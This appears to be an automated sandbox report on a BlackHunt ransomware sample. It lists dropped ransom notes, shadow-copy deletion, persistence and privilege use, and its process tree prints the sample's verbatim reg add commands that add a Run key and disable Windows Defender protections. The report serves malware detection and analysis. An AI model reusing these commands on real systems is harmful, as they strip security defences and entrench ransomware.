File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.zh_CN_5.5.0.165303.jar	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\Java\jre7\lib\applet\#BlackHunt_ReadMe.txt	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\km\#BlackHunt_Private.key	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\sunec.jar	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\asl-v20.txt	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPOlive.png	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\colorcycle.png	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\CST6CDT	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-queries_zh_CN.jar	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\mux\#BlackHunt_Private.key	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\drvSOFT.x3d	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Fortaleza	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\#BlackHunt_ReadMe.hta	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\Java\jre7\lib\zi\Australia\#BlackHunt_Private.key	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hy\LC_MESSAGES\#BlackHunt_ReadMe.txt	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\#BlackHunt_ReadMe.hta	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\#BlackHunt_ReadMe.txt	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\control\#BlackHunt_ReadMe.hta	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\#BlackHunt_ReadMe.txt	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Fiji	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.httpcomponents.httpcore_4.2.5.v201311072007.jar	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher_1.3.0.v20140911-0143.jar	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\#BlackHunt_Private.key	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\#BlackHunt_ReadMe.txt	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\jfr\#BlackHunt_Private.key	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\dropins\README.TXT	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.w3c.dom.events_3.0.0.draft20060413_v201105210656.jar	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\include\win32\#BlackHunt_ReadMe.txt	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Kerguelen	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Urumqi	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\css\#BlackHunt_ReadMe.hta	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.core.contexts_1.3.100.v20140407-1019.jar	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\stream_filter\#BlackHunt_ReadMe.hta	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Campo_Grande	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\resources.jar	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\#BlackHunt_ReadMe.hta	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\#BlackHunt_Private.key	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Berlin	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-core.xml	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\org-netbeans-modules-uihandler.xml_hidden	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\uninstall.log	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\#BlackHunt_Private.key	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2128	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2140	vssadmin.exe
1680	vssadmin.exe
1532	vssadmin.exe
1840	vssadmin.exe
2912	vssadmin.exe
2968	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3776	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3412	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1320	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
Token: SeRestorePrivilege	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
Token: SeBackupPrivilege	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
Token: SeTakeOwnershipPrivilege	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
Token: SeAuditPrivilege	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
Token: SeSecurityPrivilege	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
Token: SeIncBasePriorityPrivilege	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
Token: SeBackupPrivilege	2624	vssvc.exe
Token: SeRestorePrivilege	2624	vssvc.exe
Token: SeAuditPrivilege	2624	vssvc.exe
Token: SeBackupPrivilege	2848	wbengine.exe
Token: SeRestorePrivilege	2848	wbengine.exe
Token: SeSecurityPrivilege	2848	wbengine.exe
Token: SeSecurityPrivilege	4728	wevtutil.exe
Token: SeBackupPrivilege	4728	wevtutil.exe
Token: SeSecurityPrivilege	5016	wevtutil.exe
Token: SeBackupPrivilege	5016	wevtutil.exe
Token: SeSecurityPrivilege	4708	wevtutil.exe
Token: SeBackupPrivilege	4708	wevtutil.exe
Token: SeSecurityPrivilege	5088	wevtutil.exe
Token: SeBackupPrivilege	5088	wevtutil.exe
Token: SeSecurityPrivilege	5028	wevtutil.exe
Token: SeBackupPrivilege	5028	wevtutil.exe
Token: SeDebugPrivilege	3776	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1740 wrote to memory of 1124	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	29
PID 1740 wrote to memory of 1124	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	29
PID 1740 wrote to memory of 1124	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	29
PID 1740 wrote to memory of 1124	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	29
PID 1740 wrote to memory of 2424	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	31
PID 1740 wrote to memory of 2424	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	31
PID 1740 wrote to memory of 2424	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	31
PID 1740 wrote to memory of 2424	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	31
PID 1124 wrote to memory of 2644	1124	cmd.exe	33
PID 1124 wrote to memory of 2644	1124	cmd.exe	33
PID 1124 wrote to memory of 2644	1124	cmd.exe	33
PID 1740 wrote to memory of 1468	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	34
PID 1740 wrote to memory of 1468	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	34
PID 1740 wrote to memory of 1468	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	34
PID 1740 wrote to memory of 1468	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	34
PID 2424 wrote to memory of 2168	2424	cmd.exe	36
PID 2424 wrote to memory of 2168	2424	cmd.exe	36
PID 2424 wrote to memory of 2168	2424	cmd.exe	36
PID 1740 wrote to memory of 2100	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	143
PID 1740 wrote to memory of 2100	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	143
PID 1740 wrote to memory of 2100	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	143
PID 1740 wrote to memory of 2100	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	143
PID 1740 wrote to memory of 2600	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	38
PID 1740 wrote to memory of 2600	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	38
PID 1740 wrote to memory of 2600	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	38
PID 1740 wrote to memory of 2600	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	38
PID 1740 wrote to memory of 2668	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	41
PID 1740 wrote to memory of 2668	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	41
PID 1740 wrote to memory of 2668	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	41
PID 1740 wrote to memory of 2668	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	41
PID 1468 wrote to memory of 2672	1468	cmd.exe	42
PID 1468 wrote to memory of 2672	1468	cmd.exe	42
PID 1468 wrote to memory of 2672	1468	cmd.exe	42
PID 1740 wrote to memory of 2680	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	43
PID 1740 wrote to memory of 2680	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	43
PID 1740 wrote to memory of 2680	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	43
PID 1740 wrote to memory of 2680	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	43
PID 1740 wrote to memory of 2656	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	44
PID 1740 wrote to memory of 2656	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	44
PID 1740 wrote to memory of 2656	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	44
PID 1740 wrote to memory of 2656	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	44
PID 1740 wrote to memory of 2080	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	46
PID 1740 wrote to memory of 2080	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	46
PID 1740 wrote to memory of 2080	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	46
PID 1740 wrote to memory of 2080	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	46
PID 1740 wrote to memory of 2620	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	48
PID 1740 wrote to memory of 2620	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	48
PID 1740 wrote to memory of 2620	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	48
PID 1740 wrote to memory of 2620	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	48
PID 2100 wrote to memory of 2488	2100	wbadmin.exe	51
PID 2100 wrote to memory of 2488	2100	wbadmin.exe	51
PID 2100 wrote to memory of 2488	2100	wbadmin.exe	51
PID 1740 wrote to memory of 2736	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	53
PID 1740 wrote to memory of 2736	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	53
PID 1740 wrote to memory of 2736	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	53
PID 1740 wrote to memory of 2736	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	53
PID 1740 wrote to memory of 940	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	54
PID 1740 wrote to memory of 940	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	54
PID 1740 wrote to memory of 940	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	54
PID 1740 wrote to memory of 940	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	54
PID 1740 wrote to memory of 2704	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	151
PID 1740 wrote to memory of 2704	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	151
PID 1740 wrote to memory of 2704	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	151
PID 1740 wrote to memory of 2704	1740	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe	151

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe
"C:\Users\Admin\AppData\Local\Temp\3ef6ee07b80bb4e6b790c3f21d543017f14aa96f41d89b530befe6aceab3393e.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1124
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2424
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1468
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2100
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2680
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    PID:1972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2656
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2080
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2620
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2704
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2024
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2456
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2536
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1972
- C:\Windows\System32\cmd.exe
